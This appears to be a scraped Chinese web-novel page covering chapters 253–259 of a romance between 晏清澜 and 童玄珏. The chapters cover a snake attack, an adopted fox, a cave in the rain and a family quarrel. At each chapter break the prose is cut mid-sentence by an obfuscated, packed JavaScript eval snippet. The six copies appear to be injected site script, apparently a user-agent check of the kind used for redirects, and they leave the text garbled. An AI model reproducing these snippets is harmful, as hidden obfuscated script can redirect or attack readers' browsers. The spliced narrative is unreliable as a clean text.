两人继续往前,一路上有一搭没一搭地闲聊。 说是比试,却更像是一场心照不宣的……约会。 “沙沙……” 轻微的声响,打破了林间的宁静。 像是风吹过,又像是……蛇爬过草丛的声音! 晏清澜几乎是立刻停下了脚步,眼神瞬间变得锐利,像是一只蓄势待发的猎豹。 “小心些。” 她低声提醒,同时,将手按在了腰间的**上。 话音未落,一条巨大的黑影,从草丛中猛地窜出,带着一股腥风,直扑向他们! 过山峰! 足有十尺长的蛇身,碗口粗细,三角形的头颅高高昂起,猩红的信子吞吐,死死盯着他们,露出锋利的毒牙。 这突如其来的变故,让气氛瞬间凝固。 晏清澜瞳孔骤缩,几乎是下意识地,她想要拔出**。 但童玄珏的动作比她更快。 “退后!” 他低喝一声,一把将晏清澜推开,同时,手中的长剑如闪电般挥出! 剑光凛冽,划破空气,带着刺耳的呼啸声。 “噗嗤!” 一声闷响,蛇身被斩成两段,暗红色的血液喷溅而出,染红了周围的草叶。 童玄珏的衣摆上,也沾上了几点血迹,像是几朵妖冶的血梅。 他迅速后退,拉着晏清澜的手腕,将她带离了危险区域。 他的手,大而有力,紧紧地握着她,掌心传来的温度,让她感到一丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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童玄珏欲言又止,似乎在思考着什么。 “能救吗?” 他最终还是问出了口,声音很轻,带着一丝期盼。 第二百五十三章 晏清澜微微蹙眉,仔细思索着。 “很难。” 她没有隐瞒, “蛇毒入体,蔓延极快,若是不能及时控制,神仙难救。” “中草药呢?” 童玄珏追问。 “可以一试,但效果有限。” 晏清澜解释道, “毒性太强,药力难以完全压制。若是在现代,有抗蛇毒血清,或许还有一线生机,但在这里……” 她摇了摇头,没有再说下去。 童玄珏的眼神,瞬间黯淡了下去。 他紧紧地盯着那条蛇,像是在看着一个……仇人。 “也不是完全没希望。” 晏清澜的声音,打破了他的沉默。 “毒蛇咬人,有时候,并不会注入毒液,只是干咬。” 她看着他,眼神坚定, “所以,不到最后一刻,不要放弃。” 童玄珏愣了一下,似乎是没想到,还有这种可能。 “我们回去吧。” 他轻声说道, “不比了。” 他的声音中,带着一丝疲惫,也有一丝……释然。“不急着走。” 晏清澜的声音从身后传来,带着一丝戏谑。 童玄珏的脚步,停在半空。 他缓缓低头。 一只雪白的小狐狸,正紧紧咬着他的袍角,那力道,仿佛要把他这上好的丝绸给撕下一块来。 小东西,还挺记仇。 他挑眉,俯身,两指捏住小狐狸的后颈,将它提溜起来。 小狐狸在空中扑腾着四肢,耳朵耷拉着,湿漉漉的眼睛可怜巴巴地望着他。 要不是那眼神深处藏着一丝狡黠,童玄珏差点就以为,这小东西是真无辜了。 小狐狸的腿上沾着泥,原本雪白的**也变得脏兮兮的,一看就是经历了一番狼狈逃窜。 童玄珏的目光,从它身上,移到不远处那条死不瞑目的过山峰。 瞬间,他明白了。 敢情,这蛇是追着它来的。 “呵。” 童玄珏轻笑一声,分不清是嘲讽还是无奈。 他随手一抛,将小狐狸扔到一旁。 今日,算它撞了大运。 他不再理会这小东西,转身看向晏清澜,语气平淡: “我们回去。” 晏清澜却抱臂倚在一棵树旁,饶有兴致地看着这一人一狐,丝毫没有要走的意思。 果然。 童玄珏感到脚踝一沉,低头。 那小狐狸,又缠了上来,死死咬住他的袍角。 这次,力道更大了。 简直……没完没了了。 “看来,这小家伙是赖上你了。” 晏清澜摊了摊手,笑得有些幸灾乐祸。 “有灵性的东西,眼光一向不错。” 童玄珏再次拎起小狐狸,面无表情地和它大眼瞪小眼。 小狐狸似乎感觉到了他的不悦,前爪在空中虚抓了两下,然后轻轻搭在他的手背,呜咽一声。 那声音,软糯糯的,像是在撒娇。 童玄珏扯了扯嘴角。 小东西,倒是挺会看人脸色。 不过,这招,对他没用。 他正想说自己不养这些小东西,可目光,却不自觉地落在了晏清澜的脸上。 她正专注地看着小狐狸,眼神温柔,嘴角噙着一抹浅笑。 那笑意,像是春日里的暖阳,让人不自觉地想要靠近。 童玄珏心念一动,到嘴边的话,硬生生转了个弯。 他将小狐狸,小心翼翼地放到晏清澜怀里: “我,对照顾活物一窍不通。这小东西也挺可怜,不如,你帮我养着。” 晏清澜猝不及防,怀里多了一团毛茸茸。 她微微一怔,垂眸看着怀里的小家伙。 小狐狸似乎听懂了童玄珏的话,主动往她怀里拱了拱,发出细细的嘤咛。 那声音,让晏清澜的心,都跟着柔软了几分。 晏清澜无奈地叹了口气,轻轻揉了揉小家伙的脑袋。 她抬眸,看了童玄珏一眼,又低头看看怀里的小东西,欲言又止: “养它,倒也不是不行。可,总要有个名字吧?” 童玄珏略一思索。 他的目光扫过透过树叶缝隙洒落的金色光斑,像是被那光芒晃了眼。 “今天……是暮雪,就叫它暮雪吧。” 话一出口,他自己都觉得有些草率。 晏清澜微微沉默。 这名字…… 未免太敷衍了。 “还有别的吗?” 她试探着问。 童玄珏唇角微抿,又给出一个更让人无语的选项: “它为了逃命才跑到这里,叫阿遁,也可以。” 晏清澜:“……” 她轻轻揉着小狐狸的脑袋,语气无奈: “算了,还是暮雪吧,挺好。” 至少,比阿遁好听。 童玄珏见她一脸无奈的模样,唇角不自觉地上扬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他熟练地将它们堆叠在一起,动作迅速而利落。 从怀中摸出火折子,轻轻一吹,一簇火苗,便在两人之间跳跃起来。 第二百五十四章 晏清澜蹲在火堆旁,轻轻搓着手,试图汲取一丝温暖。 原主身子弱,虽然被她调养得好了许多,但还是比常人怕冷。 童玄珏看着她单薄的身影,眉头紧锁。 他脱下被雨水打湿的外袍。 这袍子料子特殊,能挡雨,里面的衣裳还是干的。 他将外袍拧干,搭在火堆旁烘烤。 又从怀中取出一块干燥的汗巾,递给晏清澜: “擦擦头发,小心着凉。” 晏清澜接过汗巾,说了声“谢谢”。 她将湿漉漉的头发擦干,然后将汗巾还给童玄珏。 童玄珏接过汗巾,却没有立刻擦拭,而是转身,背对着晏清澜,解开了自己的腰带。 晏清澜一愣,下意识地转过头。 “你……” 她刚想开口,却见童玄珏将外袍脱下,只着中衣,坐在了火堆旁。 他将外袍递给晏清澜: “这袍子是干的,你披上,暖和些。” 晏清澜犹豫了一下,最终还是接过了袍子。 童玄珏的袍子很大,带着他的体温,将她整个人都包裹起来。 她原本还有些冷,此刻,却感觉一股暖意,从袍子上传来,将她紧紧包围。 晏清澜低头,看着身上宽大的袍子,心中,涌起一股莫名的情绪。 她将袍子裹紧了些,轻声道: “这样就好多了,你……也快些烤干吧。” 声音,带着一丝不易察觉的温柔。“唔……” 晏清澜缩在宽大的袍子里,小小的一团,像只刚被捡回来的小猫。 童玄珏的外袍裹着她,仅探出一截小脑瓜。湿发贴着脸颊,更显得她脸色不好。 他盯着她,眉头能夹死一只苍蝇,眸色沉沉。 火光跃动,她侧脸的线条柔和……等等,好像有点红?是火光吗?还是…… 童玄珏不敢多想,嘴角却已经自己弯了。他挨着她坐下,一条腿屈起,手肘撑在膝盖上,假装看雨。 其实,眼神基本就没离开过晏清澜。 晏清澜努力让自己别去看他,她知道他在看自己,那种感觉……就像是做了什么亏心事被人抓包。 她轻咳一声,低头盯着脚边的小狐狸暮雪,试图用眼神杀死它。 “怎么了?” 旁边的人却突然紧张起来,声音又低又沉。 晏清澜飞快地瞟了他一眼,又立刻把头低下去。她快把那只可怜的小狐狸给盯秃噜皮了,以此来躲避童玄珏的注视。 “没事……”她声音细若蚊蝇,“淋点雨,死不了。” 她身上暖烘烘的,一点儿也不冷。童玄珏的外袍带着他的体温,把她裹得严严实实,哪能那么容易生病。 童玄珏神色稍缓,嘴角几不可察地动了动。 雨越下越大,丝毫没有要停的意思,打在竹叶上,吵得人心烦。 晏清澜望着雨幕,发起呆来。她微微侧头,露出一段雪白的脖颈。 沉默片刻,她开口,声音被雨声盖住大半: “童玄珏,谢谢。” 她抓紧了身上的袍子,指尖用力到泛白。 童玄珏不想听这些,这些话像刀子一样,把他往外推。 他微微侧身,靠近了些,语气听着随意,却很认真: “别再跟我说这些。” “太见外,听着假。”他顿了顿,声音更低了,带着一丝委屈,“难受。” 就好像,他们之间永远隔着什么,过不去。 晏清澜眼睫轻颤,火光在她眸底闪烁,情绪复杂。 “好。” 她声音很轻,却很坚定。 雨水冲刷下,外头的竹叶更绿了,在雨中摇摆。 突然,一道闪电划过,刺眼的光将山洞照得惨白。紧接着,雷声滚滚,震得山洞都晃了晃。 晏清澜皱眉,下意识地往后缩了缩,却没出声。 童玄珏一直盯着她,自然看到了。电光乍现之际,他想护她周全。可手都抬起来了,又放下了。 他自嘲一笑,他们之间,还没到那份上。他凭什么去保护她? “怕吗?” 他凝视着她,声音很低,试探着。 “怕的话,就躲我身后,或者……” 他顿了顿,声音更轻了,带了点哄骗的意味。 “抓我胳膊。” 自从遇到她,他就不太像自己了,不像那个什么事都能算计好的童玄珏。 他习惯掌控一切,可偏偏对她……没办法。想靠近,又怕把她吓跑。 她看着镇定,但童玄珏知道,那都是装的。她把自己裹得太紧,不给人留一点儿机会。 晏清澜摊开手,看着掌心的纹路,好像能看出花来。她笑了笑,那笑容里,有无奈,也有几分说不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晏清澜身体一僵,他的话,像针一样,扎进了她心里。 她不确定,童玄珏只是想告诉她,她可以对他示弱,不必逞强。 第二百五十五章 还是……他看穿了她心底的秘密,在暗示什么?她有点慌。 雷声,雨声,越来越大,像是要震碎她的心。 晏清澜看着外面的雨,犹豫了很久,最终,还是伸出手, 手指微微发抖,最后,抓住了童玄珏的胳膊。 她抓的很紧,用了很大的力气,指甲都掐进了肉里。 童玄珏却好像没感觉,只是看着她,眼神温柔的能滴出水来。 他另一只手抬起,轻轻地拍了拍她的肩膀,像安抚,也像鼓励。 他没说话,晏清澜却感觉,心里的害怕,真的少了些。那种被人理解的感觉,很暖。 她甚至,对他笑了笑,那笑容里,有释然,有感激,还有一丝……她自己都没发现的依赖。 “你那也叫摘面具?” 她撇撇嘴,语气带着点玩笑,试图掩饰心里的情绪。她不想让他觉得自己软弱。 “明显是让人给扯掉的,没办法才不戴的。”她深吸一口气,努力让声音听起来正常,“还好意思说我。” “明明是你被我看穿了,还死不承认。” 她抓着他胳膊的手,更紧了。 “童玄珏,你这人真没意思。”她抬起头,看着他,眼神里带着点抱怨,一点委屈,还有一点……说不清的东西。 童玄珏笑了,笑得很开心。 他缓缓开口,声音低沉,带着宠溺: “我早说了,是你自己不信。” “倒是你,一直装到现在。”他顿了顿,目光灼灼,“不累吗?” “比如,你的来历,你到现在都不肯说实话。我要是不问,你是不是打算一直骗我?”他语气中带着无奈,也带着期待,“你到底还想瞒我多久?嗯?”童玄珏唇边漾起一抹浅笑,那话本是随口一说,带着几分戏谑。 未曾想,晏清澜却抿紧了唇瓣,一声若有似无的轻叹逸出,转头,目光灼灼地凝视着他。 “横竖你早已洞若观火,我再如何掩饰,又有何用?”她微微一顿,声音里透着一丝自嘲,“说到底,不过是你一直在陪我逢场作戏罢了。” 她心里清楚得很,童玄珏是何等精明之人,自己那点小心思,他迟早会看得一清二楚。 事实上,从童玄珏顺走她桌上糕点的那一刻起,她便已做好了心理准备,静待这一刻的到来。 童玄珏眸色渐深,宛若深不见底的古井,目光在她如凝脂般的小脸上细细逡巡,不放过任何一丝细微的表情变化。 晏清澜的容色,确是人间绝色。那是一种浓墨重彩的美,如朝霞般绚烂夺目,却又比海棠春色更添几分娇艳。 他为她此刻的坦诚感到些许意外,但这意外,又似乎早在他的意料之中。 他只是微微勾了下唇角,并无其他表示。 他的目光,缓缓移至晏清澜的侧脸,眼底深处,似有星火跳跃,又似有雾气氤氲。 “我不过是配合你演这场戏。”童玄珏缓缓开口,嗓音低沉而富有磁性,“只是,好好动动你的小脑瓜,我陪你演的,当真只有眼前这一出戏?” 他话音一顿,刻意压低了声音,字字清晰,似要将每一个字都烙进晏清澜的心底:“莫要装傻,以你的聪慧,定然明白我的言外之意。” 外头的雷声不知何时已然停歇,只余下淅淅沥沥的雨声,如泣如诉。 他凝望着晏清澜,眼底深处,似乎再也容不下万物——没有崇山峻岭,没有迷蒙烟雨,没有身旁那堆噼啪作响的篝火,唯有她一人而已。 晏清澜蓦地别开脸去,原本搭在童玄珏手臂上的手,也缓缓地、无力地垂落。 童玄珏却在此时,猛地出手,一把攥住了她的手腕。 那手腕纤细如柳枝,仿佛稍一用力便会折断,像极了一尊脆弱的白玉雕塑。 他紧紧地握着,力道大得惊人,指节因用力而隐隐泛白,仿佛要将眼前这人,牢牢地嵌进自己的血肉之中,融入自己的生命里,再也不分离。 “我本可置身事外,袖手旁观,又何必自讨苦吃,卷入这趟浑水?”他欺身逼近,声音低沉而沙哑,带着一丝压迫感,“你如此聪颖,我不信你当真猜不透其中缘由。” “你并非猜不透,”童玄珏一字一顿,语气笃定,“你只是在揣着明白装糊涂。” 晏清澜低垂着眼眸,望着他紧紧攥着自己的手,神情晦暗不明,复杂难辨。 她微微挣动,试图挣脱他的钳制,然而他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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原本湿透的外衫早已在篝火旁烘干,此刻摸上去,还带着一丝暖意。 第二百五十六章 晏清澜抬手,轻轻抚平衣衫上的褶皱,又将被雨水打湿的头发理顺。 童玄珏见状,默默地转过身,将那件锦袍递给她。晏清澜摇了摇头,指了指自己已经干透的衣衫,示意自己并不需要。 童玄珏也不勉强,只是默默地将锦袍收好,目光却始终停留在晏清澜的身上。 晏清澜被他看得有些不自在,轻咳一声,转移话题道:“雨停了,我们也该回去了。” 说话间,她弯腰,小心翼翼地将一直安静待在旁边的小狐狸暮雪抱了起来。 暮雪乖巧地依偎在她的怀里,用毛茸茸的脑袋蹭了蹭她的脸颊。 童玄珏微微颔首:“好。” 来时,两人结伴而行,赏山间景色,听流水潺潺,感受秋风拂面,嗅着若有若无的桂花香气。 归去时,脚下踩着的,却是被雨水浸泡过的、泥泞不堪的山路。 原本干爽的鞋袜,此刻也变得湿漉漉的,每走一步,都能感觉到湿冷的泥水浸透鞋袜,带来一阵阵不适。 来时,两人之间还保持着适当的距离,客气而疏离。 此刻,却是十指相扣,紧密相依。 但,这看似亲密的举动,更多的,只是为了在泥泞湿滑的山路上相互扶持,避免摔倒。 即便童玄珏已经处处留心,小心翼翼地护着晏清澜,可在一处陡峭的山坡上,晏清澜还是因为踩到了一块松动的石头,脚下一滑,险些摔倒。 幸好童玄珏眼疾手快,一把将她拽了回来,紧紧地护在怀里。 晏清澜惊魂未定,脸色微微发白。 她低头,看着自己沾满泥点的绣鞋,忍不住在心里暗骂自己一句。 明知今日要爬山,偏偏还穿了这双华而不实的鞋子,简直是自讨苦吃。 “还好你拉住了我,不然,我怕是要直接滚下山去了。”晏清澜心有余悸地拍了拍胸口。 童玄珏低头看着她,眉头微蹙:“有没有伤到哪里?” 晏清澜摇了摇头:“没有,只是扭了一下脚踝,不碍事。” 虽说没有大碍,但脚踝处隐隐传来的痛感,还是让她感到一阵烦躁。 童玄珏顺着她的目光,看向她微微红肿的脚踝,没有说话,只是直接蹲下身子,拍了拍自己的后背。 “上来吧,剩下的路,我背你回去。” 晏清澜见状,连忙摆手拒绝:“这怎么行?不过是扭了一下而已,我自己能走。” 她可不想因为这点小伤,就让童玄珏背着自己下山。 这要是传出去,她成什么人了? 童玄珏没有理会她的拒绝,只是淡淡地瞥了一眼她怀里的小狐狸暮雪,语气不容置疑: “它不是有腿吗?让它自己走。” 暮雪似乎听懂了童玄珏的话,立刻从晏清澜的怀里跳了出来,稳稳地落在地上,乖巧地跟在晏清澜的身后。 “你看看,它可比你坚强多了。”童玄珏看着晏清澜,语气里带着一丝无奈,“剩下的路都是下坡,我背着你也不费力。” “疼就是疼,有什么好逞强的?” 他顿了顿,语气变得严肃起来:“晏清澜,别总是这么硬撑着,你也是人,不是铁打的。” 说着,他脸上的表情,渐渐恢复了一贯的冷峻。 晏清澜望着童玄珏宽阔的后背,心中涌起一股莫名的情绪。 她犹豫了片刻,最终还是没有再继续逞强,顺从地趴在了他的背上。 童玄珏稳稳地将她背起,迈开步子,朝着山下走去。 晏清澜趴在他的背上,他的体温透过衣衫传来,以及那强有力的心跳声。 她微微侧过头,看着他棱角分明的侧脸,心头涌起一股难以言喻的安全感。 “喂,你这么盯着我看,我可不敢保证,我们两个会不会一起摔下去。”童玄珏的声音突然响起,打断了她的思绪。 晏清澜闻言,连忙收回视线,脸颊微微泛红。“唔……” 一声若有若无的轻吟,像小猫挠过心尖。 晏清澜眼皮微颤,缓缓睁开,入目是青色的床帐,绣着几竿修竹,瞧着很是雅致。她动了动身子,才发觉自己正趴在一个人的背上,淡淡的龙涎香若有似无,勾得她心头一荡。 这味道…… 晏清澜不用想也知道是谁。 她居然在童玄珏背上睡着了! 想到这,晏清澜的脸颊腾地一下烧了起来。 方才在山路上,童玄珏说要背她,她还百般推脱,结果呢? 一趴到人家背上,倒头就睡! 晏清澜啊晏清澜,你可真行! 她在心里把自己狠狠数落了一番。 “醒了?”低沉的嗓音在头顶响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我只是不想节外生枝。”晏清澜连忙解释,“毕竟,多一事不如少一事。 第二百五十七章 ” “哦?”童玄珏意味深长地应了一声,没再继续这个话题。 晏清澜暗自松了口气,却又忍不住偷偷抬眼,打量着童玄珏的侧脸。 他……好像真的有点不一样了。 是错觉吗? 晏清澜不敢确定,她把这个疑惑压在心底,决定以后再慢慢观察。 “到了。”童玄珏的声音打断了她的思绪。 晏清澜抬眼,发现他们已经停在了一间屋子前,门窗紧闭,瞧着很是安静。 “这是……” “我的书房。”童玄珏言简意赅。 他将晏清澜轻轻放在一张圈椅上,转身从一个紫檀木柜子里取出一个小药箱。 晏清澜的视线随着他的身影移动,打量着这间屋子。 陈设很简单,却处处透着精致,显然是精心布置过的。 “还疼吗?”童玄珏的声音在耳边响起。 晏清澜回过神,看到他已经拿着药箱蹲在了自己面前。 “还好……”她下意识地想把脚缩回去。 “别乱动。”童玄珏握住她的脚踝,阻止了她的动作。 他抬眼看了她一眼,语气不容置喙:“让我看看。” 晏清澜抿了抿唇,没再动弹。 她低头看着童玄珏。 他正垂眸检查着她的脚踝,眉头微微蹙起,似乎在判断伤势的轻重。 晏清澜的目光不受控制地落在他脸上。 他的睫毛很长,像两把小扇子,在眼睑下方投下一片阴影。 他的鼻梁高挺,薄唇紧抿,勾勒出完美的侧脸轮廓。 不得不说,童玄珏这张脸,确实生得极好。 也难怪汴京城里那些贵女们,一个个都对他趋之若鹜…… “在看什么?”童玄珏突然抬头,打断了她的神游天外。 晏清澜吓了一跳,这才发觉自己竟然盯着他看了这么久。 她连忙移开视线,掩饰自己的失态:“没、没什么……” 童玄珏没有追问,只是淡淡地瞥了她一眼,眼神意味不明。 他伸手,轻轻地解开了她的鞋带。 晏清澜的脚趾不自觉地蜷缩了一下,一种难以言喻的感觉涌上心头。 “你……”她有些不自在地开口。 “别动。”童玄珏的声音很轻,带着一丝安抚,“我帮你看看伤势。” 晏清澜咬了咬唇,没再说话。 她看着童玄珏小心翼翼地脱下她的鞋袜,露出她红肿的脚踝。 “会有点疼,忍着点。”童玄珏抬头看了她一眼,声音低沉。 晏清澜点点头。 她知道童玄珏是为她好,可是…… 让一个男子,还是一个身份尊贵的男子,为她处理脚伤…… 这怎么想都觉得有些别扭。 “其实……我自己来就好……”晏清澜小声嘟囔。 “你确定?”童玄珏抬眼,似笑非笑地看着她。 晏清澜被他看得有些心虚,她低下头,声音更小了:“有、有什么不可以的……” 童玄珏轻笑一声,没再说什么,只是专心为她处理伤口。 他的动作很轻柔,指尖带着微微的凉意,却又莫名地让人安心。 晏清澜能感觉到他指尖传来的温度,还有那淡淡的药草香气。 她的心跳,似乎越来越快了。晏清澜把鞋袜穿好,一抬头,就看见童玄珏端着个白瓷碗走进来。 碗口飘着热气,带着股甜丝丝的味道,不是姜汤。 “脚还疼?”童玄珏把碗放在桌上,目光落在她脚踝。 “我看着像走不了路?”晏清澜瞥了他一眼,起身净手,语气淡淡。 她又不是泥捏的,哪那么容易受伤。 童玄珏没接话,只将那碗热饮往她面前推了推,“刚让厨房熬了红糖水,暖暖身子。” 晏清澜也没客气,端起来一饮而尽,空碗往桌上一放,动作那叫一个干脆。 “……”童玄珏看着她,眼神复杂,欲言又止。 “看我做什么?”晏清澜被他看得莫名其妙,眉头微挑。 “没什么。”童玄珏回神,轻咳一声,“只是觉得……” “觉得什么?”晏清澜追问。 “觉得你……”童玄珏微微眯起眼睛,似乎在思考措辞,“性子直爽,与寻常女子不同。” 晏清澜听了这话,没忍住“噗嗤”一声笑了出来。 她本想嘲讽几句,可看着童玄珏那副认真的模样,话到嘴边,又变了味。 “我说童玄珏,”晏清澜清了清嗓子,突然凑近他,压低声音,“你该不会是……对我有什么误解吧?” 她故意眨了眨眼,眼神里带着几分戏谑。 童玄珏被她这突如其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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又或许……是他潜意识里,希望她能留下来。 童玄珏自嘲地笑了笑,觉得自己真是越来越不像自己了。 第二百五十八章 他转身往回走,刚走到院子里,就看见一个毛茸茸的小东西朝他扑了过来。 “汪汪!” 是阿和。 童玄珏低头,看着脚边摇尾巴的小狗,眼神柔和了几分。 他弯腰将阿和抱起来,轻轻抚摸着它的脑袋。 “还是你乖。”他轻声呢喃。 至少,阿和不会像晏清澜那样,总是让他捉摸不透。 “主子,您回来了。”尤戟不知从哪冒了出来,神色激动。 “嗯。”童玄珏淡淡应了一声。 “主子,您刚才……送谁出去了?”尤戟试探着问道。 “一个朋友。”童玄珏言简意赅。 “朋友?”尤戟瞪大了眼睛,“什么朋友?男的女的?多大了?长什么样?跟您什么关系?” 他一连串的问题,如同连珠炮一般,问得童玄珏头疼。 “尤戟,”童玄珏冷冷地扫了他一眼,“你什么时候变得这么八卦了?” “属下这不是关心您嘛!”尤戟一脸委屈,“您以前从来不带朋友回府的,这次突然带回来一个,属下自然好奇。” “没什么好curious的,”童玄珏语气冷淡,“以后,她会经常来。” “经常来?!”尤戟惊呼出声,“那她……她到底是何方神圣啊?” 童玄珏没有回答,只是抱着阿和,转身进了屋。 尤戟望着他的背影,挠了挠头,一脸困惑。 经常来? 这关系……可不一般啊。 难不成……真是主子的心上人? 可主子不是一直对男女之事不感兴趣吗? 尤戟越想越觉得不对劲,决定找个机会好好打探一下。 另一边,晏清澜已经回到了自己的住处。 她刚进门,就看见暮雪正趴在桌子上,百无聊赖地玩着自己的尾巴。 “你这家伙,倒是挺会享受。”晏清澜走过去,戳了戳暮雪的脑袋。 暮雪抬起头,看了她一眼,然后又懒洋洋地趴了回去。 “没良心的小东西。”晏清澜轻哼一声,在桌边坐下。 她回想起刚才在澜王府发生的事情,嘴角忍不住微微上扬。 童玄珏那家伙,有时候还挺有趣的。 不过……他最后问的那句话,到底是什么意思? 晏清澜托着下巴,陷入沉思。 夜色渐深,月上中天。 澜王府内,童玄珏独自坐在书房里,翻看着手中的书卷。 可他的心思,却完全不在书上。 他满脑子都是晏清澜的身影,挥之不去。 “唉……” 童玄珏放下书卷,轻轻叹了口气。 他觉得自己好像……真的有点喜欢上那个丫头了。 可她呢? 她对自己,又是什么感觉? 童玄珏不知道。 他只知道,自己从未像现在这样,如此渴望得到一个人的回应。 哪怕……只是一个眼神,一个微笑,也足以让他心满意足。晏清澜足尖一点,身形如燕,轻巧地翻过浮萍居那道不算低的院墙。 这身装束,想走正门怕是会被当成哪家偷溜出来的小厮。 她轻车熟路地回到自己屋里,把一路抱回来的小狐狸暮雪往地上一搁。 可怜小家伙,在澜王府受了惊吓,这会儿还蔫蔫的。 晏清澜闪身进了内室,再出来时,已经换回了女儿装扮。 “夏竹,把它带下去好生清洗,仔细着些,别忘了驱虫。”她指了指地上的小狐狸。 等到夏竹应声,小心翼翼地抱走了暮雪,晏清澜这才得了空,唤来了桂柔。 “让你给晏远舟送的东西,可都妥善送达了?”晏清澜端起茶盏,轻轻抿了一口,眼尾微微上挑,带着几分算计。 窗外,天色又阴沉了下来,怕是又要落雨。 这天气,倒是应景。 桂柔垂首,恭敬地回话:“主子放心,奴婢是亲手交到晏玥玥的贴身丫鬟采薇手里的。” 晏清澜满意地勾起唇角。 苏府,有好戏看了。 晏玥玥那性子,眼里可容不得沙子,何况是这种事? 她倒要看看,这回晏玥玥还能怎么沉得住气,能忍到几时。 果不其然,此刻的苏府,已经乱成了一锅粥。 尤其是晏远舟的院子,更是一片狼藉,喧闹不堪,像是刚被洗劫过一般。 平日里晏远舟最宝贝的那套青瓷茶具,碎了一地,残片四溅,看着都让**疼。 晏清澜“送”来的那些东西,更是**乱地丢弃在地上,东一件西一件,上好的绫罗绸缎就这么被糟蹋了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她哭得更厉害了,声音都有些嘶哑:“你……你竟然说我无理取闹?” “我不过是想让你多疼我一些,多在乎我一些,这也有错吗? 第二百五十九章 ”晏玥玥哽咽着,断断续续地说道,“从小到大,她就一直欺负我,你……你不但不帮我,还……还帮着她……” “二哥,你是不是真的变了?你是不是不要我了?” 听着晏玥玥的哭诉,晏远舟只觉得一阵阵的头疼。 他深吸了一口气,强迫自己冷静下来。 变了? 他冷笑一声,笑意却未达眼底。 他压根就不配当她嘴里那个暖心护短的二哥,也从未想过要当什么好二哥。 从前所做的一切,不过都是为了利用她罢了。 只是没想到,这憨憨居然还信以为真。 晏远舟看着哭得梨花带雨的晏玥玥,心中忽然涌起一股说不出的厌烦和失望。 他原本还指望着晏玥玥能嫁给韩承煜,为他所用。 可现在看来,就她这副蠢样子,别说是母仪天下了,能不能在宫里活过三集都是个问题。 韩承煜现在或许还喜欢她,可等新鲜劲儿一过,谁又能保证呢? “玥玥,你能不能成熟一点?”晏远舟的声音冷了下来,带着几分不耐,“别再像个小孩子一样,动不动就哭鼻子。” “你以为,你哭几声,闹几下,就能得到你想要的一切吗?”晏远舟看着晏玥玥的眼神,逐渐变得冷漠,“别傻了。” “我再说最后一遍,以前的事情,到底是谁对谁错,你心里比谁都清楚。”晏远舟的声音很冷,像是一把锋利的刀子,毫不留情地划破了晏玥玥一直以来苦心维持的假象,“别再跟我玩这种自欺欺人的把戏了,没意思。” 晏玥玥的脸色,刷的一下变得惨白。 她张了张嘴,想要反驳,可对上晏远舟那双冰冷的眼睛,却又什么都说不出口。 她不是傻子,自然听出了晏远舟话里的警告意味。 她心里很清楚,如果自己再继续闹下去,只会让晏远舟更加厌恶她。 “二哥,我……”晏玥玥的声音很低,带着几分委屈和不安,“我没有……” “没有?”晏远舟冷笑一声,打断了她的话,“你真的没有吗?” “你敢说,你心里一点都不怨恨晏清澜?你敢说,你从来都没有想过要报复她?” “你敢说……你送给我的那副石竹图,真的只是单纯的为了感谢我?” 晏远舟的目光,落在了墙上挂着的那副石竹图上,眼神变得幽深而复杂。 那副画,是他生辰时晏玥玥送给他的。 当时,他还夸赞晏玥玥有心,画工精湛。 可现在看来,这幅画,怕是另有深意。 晏玥玥被晏远舟看得浑身发毛,只觉得一股寒意从脚底直窜头顶。 她紧紧地咬着嘴唇,不敢去看晏远舟的眼睛。 “二哥,我真的没有……”晏玥玥的声音很低,带着几分心虚,“我只是……只是想让你多关心我一些……” “够了!”晏远舟不耐烦地打断了她的话,“别再跟我说这些没用的了。” “你以为,我还会相信你吗?”晏远舟看着晏玥玥的眼神,充满了失望和嘲讽,“你太让我失望了。” 